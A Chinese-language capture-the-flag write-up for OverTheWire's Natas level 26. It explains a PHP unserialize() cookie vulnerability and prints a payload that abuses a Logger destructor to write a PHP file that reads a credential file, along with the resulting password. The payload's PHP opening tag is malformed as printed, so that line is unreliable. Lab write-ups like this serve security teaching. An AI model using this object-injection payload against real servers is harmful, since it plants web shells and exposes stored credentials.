Natas26 Writeup(PHP反序列化漏洞)
Natas26:
打开页面是一个输入坐标点进行绘图的页面。
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head> <body> <?php class Logger{ private $logFile; //三个私有参数 private $initMsg; private $exitMsg; function __construct($file){ //类创建时调用 // initialise variables //初始化变量 $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message //写入初始信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ //写入信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ //类销毁时调用 // write exit message //写入退出信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } function showImage($filename){ //显示图片 if(file_exists($filename)) echo "<img src=\"$filename\">"; } function drawImage($filename){ //画图 $img=imagecreatetruecolor(400,300); drawFromUserdata($img); imagepng($img,$filename); imagedestroy($img); } function drawFromUserdata($img){ if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){ $color=imagecolorallocate($img,0xff,0x12,0x1c); imageline($img,$_GET["x1"], $_GET["y1"], $_GET["x2"], $_GET["y2"], $color); } if (array_key_exists("drawing", $_COOKIE)){ $drawing=unserialize(base64_decode($_COOKIE["drawing"])); if($drawing) foreach($drawing as $object) if( array_key_exists("x1", $object) && array_key_exists("y1", $object) && array_key_exists("x2", $object) && array_key_exists("y2", $object)){ $color=imagecolorallocate($img,0xff,0x12,0x1c); imageline($img,$object["x1"],$object["y1"], $object["x2"] ,$object["y2"] ,$color); } } } function storeData(){ $new_object=array(); if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){ $new_object["x1"]=$_GET["x1"]; $new_object["y1"]=$_GET["y1"]; $new_object["x2"]=$_GET["x2"]; $new_object["y2"]=$_GET["y2"]; } if (array_key_exists("drawing", $_COOKIE)){ $drawing=unserialize(base64_decode($_COOKIE["drawing"])); //反序列化 } else{ // create new array $drawing=array(); } $drawing[]=$new_object; setcookie("drawing",base64_encode(serialize($drawing))); //序列化 } ?> <h1>natas26</h1> <div id="content"> Draw a line:<br> <form name="input" method="get"> X1<input type="text" name="x1" size=2> Y1<input type="text" name="y1" size=2> X2<input type="text" name="x2" size=2> Y2<input type="text" name="y2" size=2> <input type="submit" value="DRAW!"> </form> <?php session_start(); if (array_key_exists("drawing", $_COOKIE) || ( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){ $imgfile="img/natas26_" . session_id() .".png"; drawImage($imgfile); showImage($imgfile); storeData(); } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
查看源码,发现了php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。
Php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。
Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。
php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。
关键代码:
class Logger{ private $logFile; //三个私有参数 private $initMsg; private $exitMsg; function __construct($file){ //类创建时调用 // initialise variables //初始化变量 $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message //写入初始信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ //写入信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ //类销毁时调用 // write exit message //写入退出信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } }
观察代码可以发现,在类销毁时调用的__destruct()魔术方法,可以向任意文件写入信息。
if (array_key_exists("drawing", $_COOKIE)){ $drawing=unserialize(base64_decode($_COOKIE["drawing"])); }
而且,可以通过cookie来写入序列化注入信息。
总结思路,通过cookie来注入信息,利用反序列化漏洞在能够访问的文件夹(img)下建立一个shell(aaa.php),写入php语句,然后访问该脚本,就能够进行任意语句执行/回显!
Payload:
<?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ #注入信息 $this->initMsg=""; $this->exitMsg="<php include '/etc/natas_webpass/natas27';?>"; $this->logFile="img/aaa.php"; } } $test = new Logger(); echo serialize($test); echo "\n"; echo base64_encode(serialize($test)); #显示base64编码后的序列化字符串 ?>
burp抓包,把字符串覆盖到cookie[drawing]中,重新发送请求。
访问../img/aaa.php即可得到flag。
flag:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
参考:
https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.cnblogs.com/liqiuhao/p/6901620.html
https://blog.csdn.net/baidu_35297930/article/details/99732206?utm_source=distribute.pc_relevant.none-task